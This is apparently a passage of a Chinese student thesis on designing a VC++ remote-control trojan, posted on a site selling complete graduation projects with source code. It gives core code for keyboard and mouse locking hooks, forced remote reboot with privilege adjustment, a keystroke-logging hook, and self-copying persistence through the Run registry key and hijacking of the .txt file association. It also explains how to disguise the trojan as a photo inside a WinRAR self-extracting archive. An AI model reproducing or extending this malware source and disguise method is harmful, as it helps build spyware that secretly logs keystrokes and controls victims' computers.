本文主要为广大网友提供“基于VC++新型木马的设计”,希望对需要基于VC++新型木马的设计网友有所帮助,学习一下!
客服咨询,网学网竭诚为您服务,本站永久域名:myeducs.cn |
4.2.2 锁定鼠标和键盘 这个功能的实现方式如下:Client端点击按钮,发送消息到Server端。Server通过全局变量LockOrUnLockKey和LockOrUnLockMouse来判断是操作键盘还是鼠标,然后下相应的钩子(HOOK函数)来拦截Server端的消息来实现鼠标或键盘的锁定。 核心代码如下: hhkLowLevelKybd2000=SetWindowsHookEx(WH_KEYBOA RD_LL,LowLevelKeyboardProc,AfxGetApp()->m_hInstance,0); 4.2.3 远程注销、远程重启、远程关机 这三个功能都是调用ExitWindowsEx函数实现,所不同的是在WINDOWS NT以上的操作系统中,远程重启和关机需要把程序进程提权。由于注销比较简单,所以不做描述。又因远程重启和关机的实现比较类似,只是ExitWindowsEx的调用不同(重启EWX_REBOOT,关机EWX_SHUTDOWN),所以只列出了远程重启的代码。 核心代码如下: HANDLE hToken; TOKEN_PRIVILEGES tkp; DWORD dwVersion; dwVersion=GetVersion(); OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_ PRIVILEGES|TOKEN_QUERY,&hToken); LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tkp. Privileges[0].Luid); tkp.PrivilegeCount=1;//设置本进程为特权 tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken,FALSE,&tkp,0,(PTOKEN_PRIVILEGES) NULL,0); ExitWindowsEx(EWX_REBOOT|EWX_FORCE,0); 4.3 信息发送模块 核心代码如下: char buff[100]={0}; CString msg; int ret=0; for(;;) { ret=recSo.Receive(buff,100); if(ret==0) break; msg+=buff; } AfxMessageBox(msg); 4.4 击键记录模块 核心代码如下: listenkeyhook = SetWindowsHookEx(WH_KEYBOARD_LL,ListenKeyProc, AfxGetApp()->m_hInstance,0); 4.5 自加载技术 开机自启动是通过在注册表HKEY_LOCAL_MACHINE\SOFTWARE\Micros oft\Windows\CurrentVersion\Run中新建字符串值(REG_SZ)实现。文件关联是通过在注册表HKEY_CLASSES_ROOT\txtfile\shell\open\command中修改默认值实现。程序自我复制并设置为系统属性是通过调用CopyFile,SetFileAttributes这两个API函数实现。 在BOOL CRUNDLLApp::InitInstance()中添加以下代码 //获取System32的路径 GetSystemDirectory(SysPath,sizeof(SysPath)); //获取本程序当前路径和名字 GetModuleFileName(NULL,FilePathAndName,sizeof(FilePathAndName)); //设置system32下的程序为系统属性 SetFileAttributes(lpFileNewPathAndName,FILE_ATTRIBUTE_SYSTEM); //判断System32下是否存在本文件 if(_access(lpFileNewPathAndName,0)!=0) { //如果不存在就拷贝 CopyFile(FilePathAndName,lpFileNewPathAndName,FALSE); } //开机自启动的注册表键值 LPCTSTR lpRegSubPath="Software\\Microsoft\\Windows\\ CurrentVersion\\Run"; HKEY hKey; LONG lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpRegSubPath,0, KEY_WRITE,&hKey); DWORD dwRet=strlen(lpFileNewPathAndName); lRet=RegSetValueEx(hKey,lpRegKeyName,0,REG_SZ, (BYTE*)lpFileNewPathAndName,dwRet); RegCloseKey(hKey); } 由于进行了TXT文件关联,为了防止每打开一个文件就运行一次程序,在BOOL CRUNDLLApp::InitInstance()中添加以下代码 //让程序只能运行一个实例 HANDLE hMutex; hMutex=::CreateMutex(NULL,TRUE,m_pszAppName); if(::GetLastError()==ERROR_ALREADY_EXISTS) {::PostQuitMessage(0); return FALSE; } 4.6 木马程序的传播 本次设计的木马程序,采用WINRAR捆绑木马。其步骤如下: 首先选定Server端Rundll.exe和我的照片.jpg,添加为photo.rar。然后打开生成的这个RAR文件,点击工具栏上的自解压图标。如图6,我们在弹出的对话框中选择高级自解压选项,选择常规标签,在解压路径中填入解压的路径%systemroot%\temp,解压后运行中输入木马的Server端Rundll.exe,解压缩前运行中输入我的照片.jpg。生成后的程序运行时会先调用默认关联的图片查看程序来打开“我的照片.jpg”,等关闭这个图片查看程序后才会去运行“Rundll.exe”。 |
本站发布的计算机毕业设计均是完整无错的全套作品,包含开题报告+程序+论文+源代码+翻译+答辩稿PPT |
本文选自计算机毕业设计http://myeducs.cn |